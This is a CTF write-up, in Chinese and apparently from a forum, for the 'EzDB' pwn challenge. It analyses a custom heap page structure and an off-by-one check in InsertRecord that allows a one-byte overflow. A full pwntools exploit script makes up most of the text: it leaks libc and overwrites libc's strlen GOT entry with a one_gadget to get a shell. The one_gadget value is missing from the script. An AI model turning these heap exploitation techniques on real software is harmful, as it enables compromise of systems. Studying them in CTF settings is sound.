[TPCTF] EzDB详解
程序分析第一眼菜单堆题,但程序自己实现了一个数据结构:表结构(page)储存Record
逆向出的page结构体如下,记录分配的内存以及record记录。然后堆内还存在一个数据结构records。两个结构之间的关系如图(请忽略我粗劣的画工)
struct TablePage
{
void *mem; // 分配的堆内存地址
void *records_end; // record结尾,在GetSlotNum函数中用于计算有多少个record
void *mem_offset; // 空闲内存,每次申请record从堆内存尾部分割
void *records_ptr; // record开始,在EditRecord函数用于索引到指定record
};
struct recordInHeap
{
uint16_t offset; // record内容在堆内的偏移
uint16_t size; // record的大小
};这里为什么要专门要创建一个recordInHeap结构体呢,主要是和菜单选项里的Record结构区分开来
堆内的records数组是向高地址生长,而内容则是向低地址生长
漏洞在于InsertRecord时,对堆内的剩余空间计算存在问题
page->mem_offset -page->records_end + 1 < Size + 4,我们只要令 申请的size +4= 剩余空间+ 1,就存在一字节的溢出。
然后memcpy复制的起始地址是page->mem_offset - Size,覆盖的是recordInHeap的size段的高位,接下来我们就可以进行愉快的堆溢出啦
之后就是常规的堆利用了,有很多利用思路,这里我选择劫持libc.got
首先leak出libc地址,然后通过溢出劫持TablePage结构体来实现任意写,修改libc的got.plt的strlen为one_gadget
因为程序打印menu时会调用puts函数,而puts函数内部又调用了strlen函数,触发ogg
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa= lambda text,data:p.sendafter(text, data)
sl= lambda data :p.sendline(data)
sla = lambda text,data:p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru= lambda text :p.recvuntil(text)
rl= lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['konsole', '-e', 'sh', '-c']
#context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
p = process("./pwn")
elf = ELF(file)
libc = ELF(libc)
def add(idx):
ru(">>>")
sl(b"1")
ru("Index:")
sl(str(idx))
def edit(idx,sid,size,content):
ru(">>>")
sl(b"5")
ru("Index:")
sl(str(idx))
ru("Slot ID:")
sl(str(sid))
ru("Varchar Length:")
sl(str(size))
ru("Varchar:")
sd(content)
def insert(idx,size,content):
ru(">>>")
sl(b"3")
ru("Index:")
sl(str(idx))
ru("Length:")
sl(str(size))
ru("Varchar:")
sd(content)
def show(idx,sid):
ru(">>>")
sl(b"4")
ru("Index:")
sl(str(idx))
ru("Slot ID:")
sl(str(sid))
def delete(idx):
ru(">>>")
sl(b"2")
ru("Index:")
sl(str(idx))
for i in range(10):
add(i)
for i in range(9, 1, -1):
delete(i)
payload = p8(0x5).ljust(0x401 - 4, b'a')
insert(1, 0x401-4, payload)
show(1, 0)
ru(p64(0x3d1))
libcbase = uu64() - 0x21ace0
libc.address = libcbase
libc_got = libc.got["malloc"] + 0xa8
insert(0, 0x401-4, payload)
oggs =
payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
edit(0, 0, len(payload) ,payload)
lgn("libcbase", libcbase)
lgn("strlen got", libc_got)
debug()
pause()
insert(1, 8, p64(libcbase + oggs))
ia()
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]